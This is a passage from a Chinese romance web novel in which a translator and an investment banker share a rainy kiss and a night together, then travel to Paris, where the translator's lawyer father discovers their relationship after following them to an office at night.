彼此的唇齿之间沉浮着雨水气息,戚述的虎牙触感鲜明,在江知羽的嘴边留下痕迹。 然后江知羽感觉到…… 戚述的舌头伸、伸进来了。 作者有话要说 =3= 第 86 章 潮湿 第86章潮湿 回廊的屋檐下,凉风习习,花瓣湿润,他们就在花下笨拙地接吻。 江知羽以前认为这种行为毫无享受可言,论抚慰好似隔靴搔痒,快感算不上强烈,两人嘴对嘴想想就很生硬。 但现在他感觉完全被颠覆了。 戚述起初试探着分寸,舔过江知羽的嘴唇,江知羽有些应付不来,局促不安地颤了下。 尽管如此,他没有朝戚述喊停,继而被安抚着揉过后脑勺,齿列被小心翼翼地撬开。 江知羽手足无措,很轻地闷哼了声。 这个动静像有魔力,让浑身血液都躁动起来,引得戚述得寸进尺,有什么竭力压抑的东西再也收敛不住。 戚述全然循着本能,不讲章法地索取,肆无忌惮地占领,江知羽被这攻势弄得不禁后仰,又被摁回来难以躲闪。 绵绵雨声中,洋房内的喧哗离他们很远,这里的每一处细微响动都格外明显。 原本是急促的呼吸交缠在一起,其中逐渐掺杂了水声。 江知羽略微有些僵硬,目光迷离着想要分开,却被捏着下颌吻得更深。 这时他浑身都放软了,这枚吻好像没完没了,直到他觉得自己快要溺毙在这角落才被松开。 嘴唇留下了虎牙的印子,戚述听着江知羽的喘息“怎么好像被欺负了一样?我亲你的时候,你可以换气。” 江知羽胸膛起伏,眼角被逼得有些潮湿,摆明了还没调整过来,却强撑着点了点头。 “我知道,你当我不懂么?”他道。 戚述似是揶揄“噢,江总监学得那么快,是我顾忌得太多。” 江知羽附和“哪有这么纯情,这种事情根本就不用学,试一下就明白了……” 这句话没有说完,他的尾音消失在了吻里。 · 江知羽抱着沾水的外套坐上车,戚述把他的西装也递过来,示意对方帮忙拿着。 江知羽不太配合地别开脑袋,露出一只发红的耳朵,扬起手把西装丢到了后座。 没多一会儿,他把自己的衣服也扔过去,乱糟糟地上下堆叠着。 出席宴会有着装要求,即便是寒冬腊月也不可能穿成企鹅,男士们大多是正装三件套或两件套。 江知羽里面单单一件衬衫,差不多被淋透了,搭在身上勾勒出姣好的身体线条,隐约散发着清新的雨水味道。 戚述调高了车内空调,听到江知羽和周柯打电话。 “我先走了,嗯,没带伞,搭戚总的顺风车,你喝酒的话悠着点,我没办法跑来收拾残局。” 这么交代的时候,戚述已经踩下油门,车子平滑地从地库驶了出去。 阵雨没有停歇的架势,淅淅沥沥的越来越大,远处偶尔滚过一道惊雷,被拦在高楼的隔音窗外。 他俩携带着一股水汽进屋,江知羽刚在玄关换下鞋子,就被戚述横抱了起来,朝着主卧旁的浴室走去。 开了暖灯,浴缸尚在放水,戚述慢条斯理地帮忙解着扣子,视线停留在江知羽的脸上。 江知羽的嘴唇破皮了,细瞧的话有点红肿,发觉戚述在打量哪里,他说“你这么没轻没重,想故意欺负我吗?” 戚述亲他的细碎伤口,继而标记战利品一般舐过。 “我比较纯情,还不太懂这些。”戚述呼应江知羽之前的说辞,“有劳你多教教我。” 江 知羽本来还想要辩驳, 但喉结被缓缓地蹭了下,那些话语登时被咽回了嗓子。 戚述是故意的。他被撩拨,克制地这么想着,不禁小幅度地吸着气,抬手抵在戚述肩膀上。 两人许久没有这样亲密过,浴室里热意氤氲,江知羽看起来有点懵然,被牵着手放在对方胸前。 心脏就在自己的掌心下有力搏动,戚述倾身与他抵着额头“你看它,为你跳得那么厉害。” 江知羽好似被烫到,有点想要抽手,最终又任由戚述握紧。 泛起的刺激本该再熟悉不过,却萌生出一种从未有过的欢愉,让他难以抵抗地战栗,又心甘情愿地沉沦。 江知羽无比地渴望着,身体的慰藉满足不了他的野心,他想寻觅的不仅仅是这些。 自己已经真正赤裸,毫无保留地袒露全部,所以渴望交换对方的所有。 连指尖的碰触和摩挲都有一种别样滋味,灯光下江知羽格外敏感,偏偏努力地迎合着。 戚述觉得他这种样子很勾人,过分地企图窥探更多,把江知羽从浴缸抱出去,还要他低头去看周围是什么情形。 “地上都是水,你动得那么厉害,往外边洒开来了。”戚述说。 江知羽不答话,戚述就更过分“淋雨的时候都还没这样,江知羽,你湿透了。” 江知羽羞赧地闭上眼,放任着作乱的手指,一阵阵的快意冲刷理智,他们齐齐地栽倒在床边。 紧接着,江知羽看到戚述翻出一盒套,安静地朝对方缩了缩。 那盒东西拆开过了,如今还剩下一半,江知羽眨了眨眼,和戚述作对“过期了吗?” 戚述说“没有,保质期还有很久。” 望向那双桃花眼,他低低补充“不过今晚就用光。” …… 缱绻旖旎地彻夜荒唐,两人周末也腻在一起。 新家具已经进场,铂曼的东西差不多搬完了,理出来的书籍被打包进三只箱子, 趁着戚述在书房加班,江知羽懒洋洋地坐在地毯上,持起剪刀的手势很优雅,有条不紊地撕开纸箱胶带。 戚述时不时扫过去一眼,看着江知羽在阳光下的背影,觉得心情很明媚。 之后看着电脑,他写完文件收尾,再抄送全体董事。 敲了回车没过半分钟,董事长蒋禹旭表示已查收。 蒋禹旭再私下和他说[市场上传出你爷爷生病了以后,永煊股票最近波动很大。] 戚述不靠这股票吃饭,不太有所谓。 他回复[管理层有一半是亲戚,当家人镇得住还好,镇不住就是家庭作坊,股民交过那么多次学费,早就不肯当傻子了。] 蒋禹旭[你爷爷还是倾向于你接班,交你手里他能放心,之前也和我聊过,投行是中介机构,咱们是靠脑子赚佣金,一家大企业却是实实在在的资产。] 他与戚述的导师有老友旧情,所以私下里把戚述当成自家晚辈,在这些个人大事方面,没有那么多弯弯绕绕的算计。 他说[说白了做金融是走钢丝,死活还得自己悠着点,这个你也很清楚,所以你怎么选择我都支持。] 上下级聊这种话题其实很忌讳,戚述揣度了一会儿[没想辞职,我还要赚老婆本。] 发完这句,蒋禹旭沉默良久,询问[你老师能喝你喜酒了?] 戚述琢磨[可能我要在巴黎买几套房当聘礼,您说先挑房子还是先采购三金?] 蒋禹旭又掉线了十多分钟,然后说[买茅台吧,老丈人要是死活不同意,你拿下卢浮宫也没用啊。] 戚述暗里炫耀[我觉得不用那么大的阵仗。] 等了一会儿,蒋禹旭没来问他为什么如此有信心,戚述有些没劲,转头看向江知羽。 发觉对方的眼神,江知羽率先警惕起来,抓狂地声明“能不能别亲了!我明天要上班,家里的安全套也用完了,答应我消停点好吗?” 戚述说得特别客气“令尊的律所在开拓国内市场,那最近有没有再来这里游玩的计划?” 江知羽摇摇头“我下个月要去瑞士总部,顺便到钧易看他,律所也忙他抽不出空,天知道准备干到几岁才肯退休。” 戚述想了想,说“我和你一起去吧。” “用不着?我觉得和我爸摊牌的话,好歹得在京市,主场稍微制得住一点。” 江知羽思索着,哭笑不得“而且你本来的行程会被打乱,跨国来回不是很方便。” 戚述说“我想陪你去看望你妈妈,现在和她小孩在一起了,我应该当面让她放心。” 听完,江知羽出乎意料地愣了下,继而沉默片刻,认真地说了句“好”。 戚述入职以来没有休过一天假,这么定下来以后,隔天上班就把秘书喊来办公室。 秘书瞧着他神色有些严肃,毕恭毕敬地随他上楼。 短短两分钟的时间里,她回想了近期的重要事项是否有过疏忽,自己是否无意地得罪过上司。 随后,戚述说“需要你办件事,提前准备一下。” 秘书竖起耳朵“您请说?最近的几个项目都很顺利,就是有两个卡在了咨询上,因为是小事所以还没和您汇报……” 戚述微微抬手让她打住,意思是自己的确不太关心。 “隔壁分管总裁上次去巴厘岛,我看他请过五天年假,你能不能帮我也划几天出来?”戚述说。 秘书? 太阳打西边出来了,事业批要休假了!! 天知道并购部门有多么水深火热,领导休息不来可谓是职场美事之一,下属们可以趁机松散,然而戚述雷打不动地天天上班! 周末赶工可以看到他24小时ll,干活到凌晨也可以撞见首席办公室亮灯,戚述的精力到底有多旺盛,始终是投行圈的未解之谜。 现在他终于要歇一会儿,秘书甚至有些晕眩“好的,我这几天去整理下会议单。请问您还有什么要安排的么?” 戚述让她把生活助理喊上来,秘书诚惶诚恐地退下了,到了外边就透露老板要去欢度时光。 生活助理结合戚述的往日形象,搭话“他真的要请假?干嘛去啊,亲自催债还是特意寻仇?” 秘书遗憾地表示不清楚,于是生活助理一无所知地去了。 戚述递给他一张卡“我要买东西,帮我跑个腿。” 生活助理这个岗位就是帮戚述办一些私事,以往戚述会让他为聂茹熙买东西,亦或是料理人情往来。 “是不是杨总快生日了?我听他说要组饭局,那我去买礼品。”生活助理心思活络。 见状,戚述顿了下“杨牧川要生日了?” 生活助理“……” “你打点吧。”戚述说,“再买几盒烟,到时候要托运。” 江知羽难得回家一趟,理当给父亲带伴手礼,送的东西不重在稀缺精贵,日常能用到的可以显得贴心,戚述替人上心考虑。 生活助理谨慎道“我去买富春山居还是黄金叶?这方面有没有讲究?” 戚述不是暴发户,买东西不是越贵越好,而要投其所好。 “做律师的都抽红色万宝路,味道那么呛,你去买雪茄吧。”戚述分析。 这么说着,生活助理应声要去操办,然而戚述似是突然想起什么,把人匆匆地喊住。 在蒋禹旭面前胸有成竹,似是买什么都可以横着走,这时候他却说“帮我把酒也备一点好了。” 助理记得戚述的口味,喝不惯白酒“还是龙舌兰?” 人还没见到,戚述已经负重前行了“不,只要茅台。” 作者有话要说 这点就算负重?上强度!(拍桌) 第 87 章 巴黎 第87章巴黎 江知羽之前拿了最高绩效,各地办事处放在一起多维评比,所占的比例不到百分之五,能拿到这种结果很不容易。 除却丰厚的薪酬回报,所有人心知肚明,江知羽不久该有大跨度的晋升了。 按惯例他要去总部做一次特别汇报,再和高管们单独面谈和答辩。 这对于江知羽来说不是难事,单单是这些工作量的话,性质无异于休假,可惜他一落地就无法推脱邀请,穿梭于各式各样的会谈和典礼。 江知羽每天睁眼打开手机,就可以看到一堆未读消息,有同行恭喜他即将升职,有客户询问他项目细节,还有下属打听他能不能免税代购。 简单扫过这些留言,他没急着回复,点开置顶的聊天框,朝透光的窗帘拍了张照。 没过多久,戚述也拍来一张机场照,两个人互相报备实时坐标。 [刚醒?我在过安检,待会儿见。] 这边正值早晨七点,国内是下午一点多,图片里光线明媚。 透过航站楼的落地林窗,可以看见划过天际的机尾云,云下绿松苍翠,是北国的春日风光。 江知羽是掐着戚述登机时间设了闹铃,嘱咐[到了不要乱动,我去机场接你。] 戚述很顺从[全都听年度优秀译员的安排。] 这些本是早就交代完的琐事,偏偏当日想重复一遍,江知羽这么聊完,又放大看了会儿机场照,玻璃上映着戚述的倒影。 灰色长款风衣,披在他身上不及膝盖,耍酷似的蹬了一双马丁靴。 很像黑白电影里的杀手,江知羽这么琢磨着,慢吞吞地起床洗漱。 他这几天由公司规划吃穿用度,每天的商务安排很紧凑,不方便携带家属,所以没有和戚述一同出发。 现在工作基本结束,江知羽准备转道去法国看望家人,戚述直接与他在当地碰面。 短途飞机一个小时左右,做翻译的早习惯了多地辗转,何况在欧洲待了那么多年,他已然熟门熟路。 江知羽抵达之后,先帮戚述订好酒店,又约好晚饭餐厅,最后跑去家里开走了江锦昆的车。 江知羽打电话告知“爸,院子里那辆敞篷我用一会儿。” 江锦昆清楚儿子今天要来,不过他还在律所忙碌“你一回家就跑出去?卧室收拾好了,休息会儿吧。” 江知羽搪塞“有个朋友正好过来,他很想感受巴黎风情,所以我想领着他到处逛逛。” 先前他说自己有了心仪对象,如今表现得如此心切,江锦昆身为律师犹如半个侦探,内心立即响起了警铃。 他没有逼问,忍耐地找了个借口“记得早点回来,晚上街边有点乱,你出去要注意安全。” 江知羽说“行,你也别特意等着,累了就直接去睡,我尽量十一点之前回来。” 尽管江锦昆平时下班就这个时间,但听到江知羽这么说,警铃的分贝如同耳边被扔手榴弹。 他的小孩他清楚,没事就爱独自窝着,出去玩闹大多是吃完饭就散场,哪怕招待同学也不会夜里拖太久。 眼下愿意弄到那么晚,真的和朋友相处那没什么关系,可是细究一下显然有问题。 至少在江锦昆这里,几句话暴露的线索足以说明两个点。 一是江知羽与那小子颇为投合,光是傍晚的三四个小时还嫌不够,二是他们之间已经建立起了依 赖…… 这不是热恋是什么? 江锦昆倒吸凉气,反射弧尚且停留在儿子情窦初开,就要迎接不明生物登堂入室,他恨自己没有提前装好通电围栏,也没在别墅拴一条狼狗。 这般思来想去,面对江知羽,他却没有阻拦。 经历过孩子的离家出走,江锦昆深深认识到他独立了,事业如此,生活也是如此,自己要尊重他的自我意识。 但要是真把人带回家,让长辈把关和认同,那他还是要好好审一审的。 江锦昆顾虑着,已经有了点意见,哪家的小子那么没分寸,拐江知羽在外面留到十一点! 这能干太多龌龊的事情了,自己怎么合眼? 另外一边,戚述与江知羽逛着塞纳河“你陪我那么晚,伯父会不会担心?要不然今天还是早点走吧。” “应该不会,我说了是招待朋友。”江知羽摇头,忘了姜还是老的辣,“应该没什么漏洞。” 他补充“我觉得我爸变了很多,以前总是操心,巴不得把我塞保温箱里,现在学会放手了。” 这个家庭遭遇过多次冲击,江锦昆的心态其实有迹可循,他害怕江知羽受到伤害,一度表现得有些紧迫。 不过,在江知羽努力走出阴影的同时,江锦昆显然也在改善自己,他算不上完美的父亲,但全心想让小孩过得更好。 戚述说“雪茄和酒在行李箱里,等等你去送给伯父,他收到以后肯定会开心。” 江知羽点点脑袋,说“你会喝白酒吗?我爸的确蛮喜欢,在家里也会给自己倒一点。” 戚述道“我感觉这种像酒精,回国的时候在饭局上被人敬过半杯,当时喝了半杯就放下了。” 提到这茬,他有些好奇“江律师的酒量怎么样?” 江知羽眨了眨眼,回忆了一会儿。 “他当时创业不容易,很多案子是酒桌上抢过来的,我记得他一般能喝六两,话说你的半杯是多少啊?” 路灯下,两人面面相觑,戚述动了动嘴唇,似乎碍着面子想撒谎。 江知羽识破他的想法“别当我在国外没上过化学实验课,基本的容量差别我心里有数!” 戚述狡辩“虽然我那个大概等于嘴唇沾了点水,但不能算成我的真实能力。” 江知羽与他做对“这是凭什么?” 戚述巧舌如簧“如果是和你喝交杯酒的话,我肯定当场喝完了啊,换成矿泉水瓶也没问题。” 江知羽“。” 感觉到了戚述的注视,他暗落落地转过脑袋,被戚述逗小猫似的弹了弹脸颊。 江知羽从而有一些懊恼,想去咬戚述的虎口,然而没能如愿以偿。 他索性换了个方向,很用力地亲了戚述,这下戚述躲都不躲。 说来戚述下午五点多落地,出来已经很迟了,无奈郊外公墓离得太远,他们只能明天去扫墓。 戚述对此非常上心,问过附近是否能买到新鲜菊花,之后就显得有一些紧张。 江知羽觉得他这样子很稀奇,约了明天早上九点见面,随后揶揄“你不会失眠吧?” 戚述认为他的猜测不无道理,与此同时,在巴黎的夜里,不是他一个人辗转反侧。 江锦昆翻来覆去毫无困意,听到院子里传来引擎声,终于长长地舒了一口气。 继而他下楼去瞧,江知羽凑巧搬着东西进门。 “爸爸,给你带了点礼物。”江 知羽贴心道。 他打开小箱子“他们说这盒雪茄很好,我不太懂里面的门道,你到时候试试看。” 江锦昆瞥见橙色皮盒的廓尔喀,表面欣慰地说了句有心,实则太阳穴突突直跳。 或许他太多疑,这些东西不像江知羽的风格,儿子向来不赞成他这些陋习,更喜欢挑一些配件当礼物。 而且,其中的讨好意味太强烈,论价值又堪称隆重,要不是江知羽独自回来,江锦昆险些要以为有人上门提亲了。 这雪茄抽着感觉能折寿,江锦昆不动声色地打量,推敲着对面是什么来历。 有钱,也有品味,这种人想必看遍花花世界。 特么不会是金融男吧? 江锦昆每天都和资本市场打交道,这时却搞起行业歧视,投行和券商瞬间成为了人下人,他怎么分析都不太满意。 对方究竟符合什么条件,才能让江锦昆接受?平心而论,以他现在的心态,有天使挥着翅膀过来都会被挑两句刺。 只不过金融的风评尤其差,刺多得如同一盆仙人掌,扎得江锦昆睁眼看天亮。 到了八点多,江知羽敲门喊他吃早饭,江锦昆吃着面包片,终于忍不住了,旁敲侧击问他那位朋友是谁。 “京市认识的一个哥哥。”江知羽说,“工作和性格都不错,和我走得蛮近。” 江锦昆心里拔凉“你是独生子,怎么就喊人家哥哥了?他是你同事么?” 江知羽回答“我们有过业务联系,算是在一个圈子里。” “那人品好的不多啊。”江锦昆意味深长。 江知羽铺垫“很多是谣言而已,你看他们说戚述脾气臭,实际上人家好好的嘛。” 江锦昆说“没觉得是假话,我第一次和这人过手,他也给我摆了冷脸,拽得二五八万。” 江知羽“……” 挖了一个坑,没让江锦昆踏进去,差点把自己埋了。 江知羽连忙转移话题,过了一会儿,等江锦昆去开会,他悄悄地去找了那位拽哥。 “你确定我爸对你印象还行?”江知羽狐疑。 戚述说“他要是嫌我不好,怎么可能和我从早到晚待在一起,互相互助从北门锁钥走到了第八敌楼?” 他提到的前一个地方是长城大门入口,后一个地方是八达岭的北段最高处。 江知羽唏嘘“也对,你们真是共患难了。” 来到郊外,戚述与江知羽各买一束白花,继而江知羽找到孟佩彤的那片墓。 往日里江锦昆时常过来,碑上擦得干干净净,照片也保存得颜色鲜活。 此时,江知羽认真地再打扫一遍,戚述在旁边搭了把手。 “妈妈,我谈恋爱了。”江知羽郑重地说。 “我上次一个人偷偷跑来看你,承认自己是同性恋,为了这件事还和爸爸闹翻了,有没有害你担心?” 这么讲着,他垂下眼睫,轻轻地笑了笑。 “我现在和爸爸和好了,带男朋友过来让你瞧瞧,你觉得他怎么样呢?” 随即,戚述正色道“伯母,很抱歉今天才来看你,以后我每年都会陪他过来。” 江知羽慢慢起身,与戚述站在一起,两人低声地与孟佩彤说了会儿话,走的时候互相牵着手。 路边的草坪在办庆祝,女士们旋起裙摆,踏着优雅的舞步。 旁边有业余乐队作为伴奏,不是什么有名的曲子,却格外轻扬和 舒缓。 他们停步看了一会儿,紧接着,江知羽若有所思地望向戚述。 “你和我妈说,认定了要对我好。”江知羽说,“这个认定的程度具体是怎么样?” 戚述想了想,回答“你给了假的手机号,绒绒,我甘之如饴,会一直找最后三位数的答案,找到可以再次遇到你为止,然后再也不分开。” 江知羽捉弄他“那我现在也想跳舞,可是只会男步怎么办?我们是不是没法一起了啊?” 他不过是随口调侃,戚述却捧起他的手背,风度地往上吻了吻。 戚述说“你只需要在转圈的时候,把手抬高一些就好了。” · 最后没有跳舞,江知羽回到别墅,魂不守舍了大半天。 江锦昆催他赶紧喝汤,再放都要凉了,江知羽嘀咕“你能不能学着人家温柔点?” 江锦昆? 不是,这是上哪儿喝过迷魂汤了,嫌家里的煮排骨不够入味? 江锦昆痛心疾首,然而江知羽接下来的话语更是令他两眼发黑。 “爸,你对我男朋友有什么要求么?”江知羽没忍住。 江锦昆没好气地说“他的家里怎么样,自己做人怎么样,你满身的少爷病,他能包容你到什么地步,我的要求可太多了,根本数不过来。” 江知羽无语“别讲,当你儿子私奔了。” 江锦昆并没有做好准备“我也不想和你聊这个。” 这么讲完,两个人各自休息,江锦昆看着江知羽垂头丧气走进房间。 他不禁有些后悔,自己是不是把话说得太绝,让小孩伤心了? 江锦昆从而倍感头疼,索性在四楼阳台上抽雪茄。 刚吸出一股白烟,整个人还没放松下来,习惯性地看向街边,差点把自己呛死。 刚才满脸沮丧的江知羽就在眼底,这下子步伐轻快,合着是在自己面前扮可怜。 紧接着,江知羽鬼鬼祟祟地打开门,和一团黑影依偎着,还被黑影抱起来转了两个圈。 江锦昆登时被惊得站了起来,却由于没带眼镜,看不清楚那人长什么样子。 就在他打算追下楼的时候,正好阳台有个望远镜,这是江知羽学生时代的东西,自己一直放着没有丢,时不时还擦一下灰尘。 如今居然能派上用场,江锦昆拿过来摆弄了一会儿,眯起眼睛透过镜片,恍惚地朝着底下看去。 黑影露出了一张沉稳的俊脸,照理说这个相貌可以让人勉强松口气,江锦昆的血压却自顾自飙升。 他是不是出现了幻觉?怎么戚述搂着自己儿子?!!! ……他们怎么还抱得没完没了!! 作者有话要说 第 88 章 抓包 第88章抓包 关于如何对付江锦昆,江知羽的如意算盘打得噼啪响。 他爸吃软不吃硬,要想让人松动,最好周旋着慢慢托出,期间抓着机会使劲卖惨。 江知羽默默吃着晚饭,还装作自己被言语刺伤,借此激发江锦昆的愧疚感。 不知道演出效果怎么样,他有些忐忑,没敢再拔老虎胡须,吃完饭闲聊了些无关痛痒的事,随后就安静地回到了屋子。 昨晚自己跑外面玩到深夜,现在不方便再和家长提自己要出门,否则很容易引起怀疑。 江锦昆实在太敏锐了,之前那几句提问如同摸索水深水浅,估计已经留了个心眼。 江知羽潦草地应付着,还没做好摊牌计划,他不想被分分钟抓包,也无意挑战对方承受极限,五旬老人值得子女关爱。 他从而像个早恋的学生,玩手机还把脑袋蒙在被子里,眼巴巴地反复查看消息。 [你晚上吃什么?回酒店了吗?] 戚述回答[嗯,送你到家以后就回去了,点的果泥刚送到房间。] 江知羽说[这么清淡啊,听着就吃不饱。] 戚述道[走的时候被对象飞了个吻,中和一下感觉正好,不然回味有点太辣。] 这里氛围浪漫,让人不禁变得大胆,湖畔的月色没尝出滋味,今天一个潇洒的飞吻全是风情。 江知羽打字的速度放慢,开玩笑[你对象给的太上火,把你噎成消化不良了么?] 戚述受教[我把它当成开胃菜。] 江知羽感觉到了他话语里意犹未尽,实际上自己也是同样。 他们往常工作奔波,单身时没觉得哪有影响,可以沉心地围绕事业打转。 在一起之后,碰巧撞上开年最忙的节点,双方都有很多新项目,各自连轴转之余,总觉得彼此温存的时间怎么也不够。 平日尚且能够忍耐,眼看好不容易能缓下来,江知羽又要去欧洲出差,相当于谈起了好一阵的异地恋。 即便当下能够待在一座城市,两人也没办法共处太久,江知羽有些沮丧地撇了下嘴。 过了大概半分钟,他在床上打了个滚,不禁恶向胆边生。 既然江锦昆容易起疑,自己全程瞒天过海不就好了吗? 乖乖缩在屋里未免木讷,他本就不温驯,也过了会被管束的阶段,心思活络地筹划着摸黑溜走。 江知羽问[等等你有没有出去的想法,这趟法国还没深度体验呢。] 戚述将信将疑[圣母院、凯旋门还有香榭丽舍大街,昨天不是都看过了么?你的敞篷跑车差点在铁塔旁边和人追尾。] 江知羽装得成熟老练,和他随便胡扯。 [这些只是在街边随便逛逛,巴黎过夜生活还有好多去处。] 戚述有些好笑地戳破[说得那么熟,你找得到路么?] 江知羽懊恼[哪怕是地下俱乐部,成年前就有同学约我一起去玩了,我没有答应过而已。] 戚述给他扣了个锅,套话[最该新奇的时候无动于衷,难道这会儿想填补青春的空白。] 地下俱乐部有哪里值得惦记的呢?江知羽咬住钩子,骄纵地答复[你是木头做的么?扯东扯西这几句,都是我想见你。] 这么发过去,他嫌太过直白,急匆匆地点了撤回。 还没来得及重新组织措辞,页面跳出了戚述的答复。 [这 么巧,下午从你家回酒店,我特意走得很慢,中间穿过几条马路,要绕了几个拐角,我把它们记得很清楚。] [因为我当时就在准备下次怎么见你。] 江知羽怔了怔,说[现在起我和你是同谋,这就去门口望风。] 他很有个性,却不怎么叛逆,在这方面没有经验,溜出房的时候非常心虚。 查看了父亲的卧室和书房,已经熄灯了,江知羽把耳朵贴在门板上,听不到什么动静。 黑暗里,他蹑手蹑脚下楼换鞋,关门时如同做贼,迈出几步还回头瞄了眼窗户,别墅黑漆漆的没有另外动静。 江知羽舒了一口气,继而步伐变得轻快,头也没回地走了。 戚述早已在门外等待,趁着街边唯有他们两个人,没什么顾忌地与之相拥。 “你抱起来好轻。” 戚述说,“乖孩子,感觉很容易偷走。” 江知羽笑了下“你这样就等着被我爸追杀到天涯海角吧。” 两人光顾着凑在一起,之后究竟要去哪里,谁也没有打草稿。 江知羽搜了附近是否有话剧演出,可惜时间太晚了,该开场的早已拉开帷幕,社区花园的放映会也已经进行到一半。 期间,戚述接了一通电话,随即神色变得有些无奈。 他再朝江知羽说“突然有夜生活了,来了几个数据很着急,蒋董让我出评估报告。” 年薪一旦超过某串数字,即便处于休假状态,也很难彻底拥有个人时间,这种事情见惯不怪。 江知羽道“你带电脑了么?还是我悄悄给你开个门,你用我家里的设备?” 戚述难以置信“我要是真敢进你家门,万一被你爸发现,都犯不着他追杀,会被就地埋在你们院子里。” 夜深人静,江锦昆作息很健康,当下早该入睡了,江知羽跃跃欲试,依旧企图骗戚述进去。 可惜戚述看似是游客,人生地不熟,实际在这里的松晟分部有办公点,每年都要来几次。 以前光是过来驻场,没心思看风景,这两天被江知羽领着,他才终于游览了一遍。 所谓的办公点更是简约到极致,只有一套办公桌椅,配备的电脑开通了相对应的权限,除此之外空空荡荡。 一进去,江知羽就睁圆了眼睛“这边的行政没有帮忙布置?” “之前摆了很多东西,让他们撤掉了。”戚述当时觉得碍事。 他解释“省得保洁打扫都够呛,还有我每次一来,分部的高管就坐过来搭话,这样他们都不会往我这里跑。” 这么说完,他如今有些后悔。 “早知道有个人会让我加班也想带着,我怎么说也留一套沙发。” 江知羽坐到了桌边,看着戚述开机“没关系,请你顺带了解一下自己比较幸运,遇到的那个人没有椅子也会陪你。” · 拿着望远镜,看到了破天荒的一幕,江锦昆瞬间一动不动。 四楼是露天阳台,他习惯性地不开灯,以免招惹蚊虫飞过来,这个举动却使得那两个家伙更加嚣张。 真的是戚述?这边的视野不是很好,他有没有可能认错?江锦昆复杂地想着。 说不定戚述是大众脸,害得自己弄混了呢? 远处的轮廓着实令他匪夷所思,江锦昆一时间内心错乱,愣是被震慑在了原地。 莫非越担心什么越容易出现噩梦,自己实际上早就睡着了? 江锦昆用 力地捏着手柄,传来的感觉证明这一切不是幻觉。 过了会儿,这对野鸳鸯终于乐意分开,戚述却还没够,挥手拦住出租,随即带着江知羽离开。 在自己的家门口,把自己儿子半夜里蛊惑走,江锦昆心想着岂有此理。 这种混账行径果然是金融圈里的金融圈,投行狗里的投行狗。 没有独自沉浸在巨大的悲痛之中,眼前的局面刻不容缓,江锦昆披了件外套,翻出车钥匙就往外走。 他跟在出租后面,保持不近不远的距离,上次开车这么谨慎还是做刑诉的时候,跟着原告去锁定犯罪嫌疑人。 出租车缓缓停在了松晟驻法分部,两个青年走进大楼内,江锦昆观望着,注意到这块招牌,眼神就像是看自己五十年之后的坟。 紧接着,他猛地抽了口雪茄,还是觉得这个场面太过迷幻。 江锦昆一边心里滴血,一边庆幸自己没贪嘴那盒廓尔喀,白酒也没有拆封,如今尚且有退还的余地。 他强自镇定了会儿,打开手机翻找通讯录。 保存的联系人有上千条记录,他精准找到了某个法国名字,对方就在这栋大楼当副总裁。 拨的号码响了五下就被接通,那人很热情地问候他近期是否都好,再道“这么晚了,有什么事啊?” 江锦昆碾灭雪茄,道“有劳你帮个忙。” 他巧妙地说自己与戚述对接过一个项目,这时又有新的洽谈,他们约了今晚在分部见面,但自己进不去门禁。 “本来该联系戚述,他估计这会儿很忙?我打过去没接通。”江锦昆说。 “他本来在休假,是我们这边有数据想请他把关,临时拉他过来看一眼,没想到还有这么一个会谈。” 副总这么说着,道“没让你久等吧?我会吩咐门卫,待会儿他会来接你上去。” 金融机构风控严格,副总没去打扰戚述,但默默权衡着分寸,不怠慢江锦昆的同时,也不放任他乱闯。 很快,门卫把江锦昆迎了进去。 戚述所在的那层楼很安静,除却最里处亮着盏灯,其他地方漆黑一片,均已上了门锁。 确认戚述在这里加班,且没有泄密风险,门卫适当回避,把这里留给了他们谈话。 “我回监控室值班了,您如果有别的需要,楼道摁铃就可以。”门卫说。 江锦昆莫名理了理袖口,心里有数“我就是找他一下,其他地方都不去。” 另外一边,戚述写好报告,发完了邮件。 江知羽本来在玩手机,听到关机的声音“这么快?” 戚述说“审批一下就行,走个流程不算繁琐。” 江知羽晃着腿,都把球鞋的带子晃散了,戚述见状,帮他仔细地系好鞋带。 “桌子那么硬,坐着疼么?”戚述不怀好意地关心。 江知羽想说还行,戚述却捏了捏他的膝盖弯,示意他坐到自己腿上来。 “你来什么劲,这是办公室。”江知羽戳了戳戚述的肩膀,“我是正经人不做这种事。” 戚述说“屋子里没有摄像头,监控看不到我们。” 江知羽闻言顿住,似是态度松动,即将半推半就。 可他瞧见另一侧的落地窗,又径自往后缩了一下。 冷硬的桌沿磕到了小腿肚,江知羽闷哼了声,紧接着被戚述揉了揉。 感觉到江知羽逐渐舒缓,戚述没有放他下来,坏心眼地一手撑在他腿边,倾身亲了亲他的耳朵。 江知羽攥着戚述身前的衣襟,没有任何挣扎,俨然习惯了这种亲昵。 就当他蹭了蹭戚述脸颊,准备先离开这里的时候,口袋里的手机突然振动。 江知羽怕被老父亲袭击式查岗,看到江锦昆发来了新消息,登时往戚述这边靠了靠,这是一个下意识依偎的姿态。 戚述道“怎么了?” “江律师简直黑猫警长,问我去哪儿了。”江知羽说,“我就谎称朋友生病了吧,在这儿吃出了急性肠胃炎,稍微去照看一下。” 这么编辑完,他点击发送。 紧接着,江锦昆万念俱灰地追问[你让病人给你系鞋带?] 作者有话要说 等下有二更,大家早上来看~ 第 89 章 崩盘 第89章崩盘 江锦昆往里面走的时候,觉得一切尘埃落定,他已经做了最坏的预期。 终究还是高估了自己的承受能力,办公室估计是想通风,所以没有完全关门,望向那条不宽不窄的缝隙,江锦昆看到了太多东西。 小情侣是怎样你侬我侬,姓戚的是如何亲了他儿子,一幕幕画面在光下清晰无比,江锦昆受到极大的冲击。 为了理解江知羽是同性恋,他曾报过许多次心理咨询,好不容易在观念上克服恐同。 此时此刻,砸下去的诊金灰飞烟灭,江锦昆觉得旧疾复发了。 以前单单是难以接受,如今情况往极端恶化,不仅对心理素质是一种挑战,是否能遵纪守法也成了严肃问题。 敲打完那句质问,隔着一扇半掩的实木门,江知羽和戚述不约而同地愣了下。 继而他们抬头对视,彼此的眼底都很茫然,僵持了大概五秒钟,他们又齐齐地看向外面。 三道目光从而碰在一处,效果如同原子弹空投在这间屋子,整个氛围堪称死寂和荒凉。 这下戚述没再做邪恶举动,江知羽也立即下桌站直了,眼看着狂风暴雨就要袭来,两边不忘朝着对方挪了挪。 江锦昆见状更加来气“你们是怎么回事?解释一下吧,江知羽,三更半夜在这里厮混?!” 没让江知羽开口,他补充“谁说这辈子不想再和经济沾边?你清不清楚你旁边这人的职位是首席经济学家?” 饶是江知羽的临场应变能力再好,都被亲爹这一连串问号逼得语塞。 “我指的是不想上班,没和你讲过自己对里面的人有物种隔离。”江知羽率先移开眼。 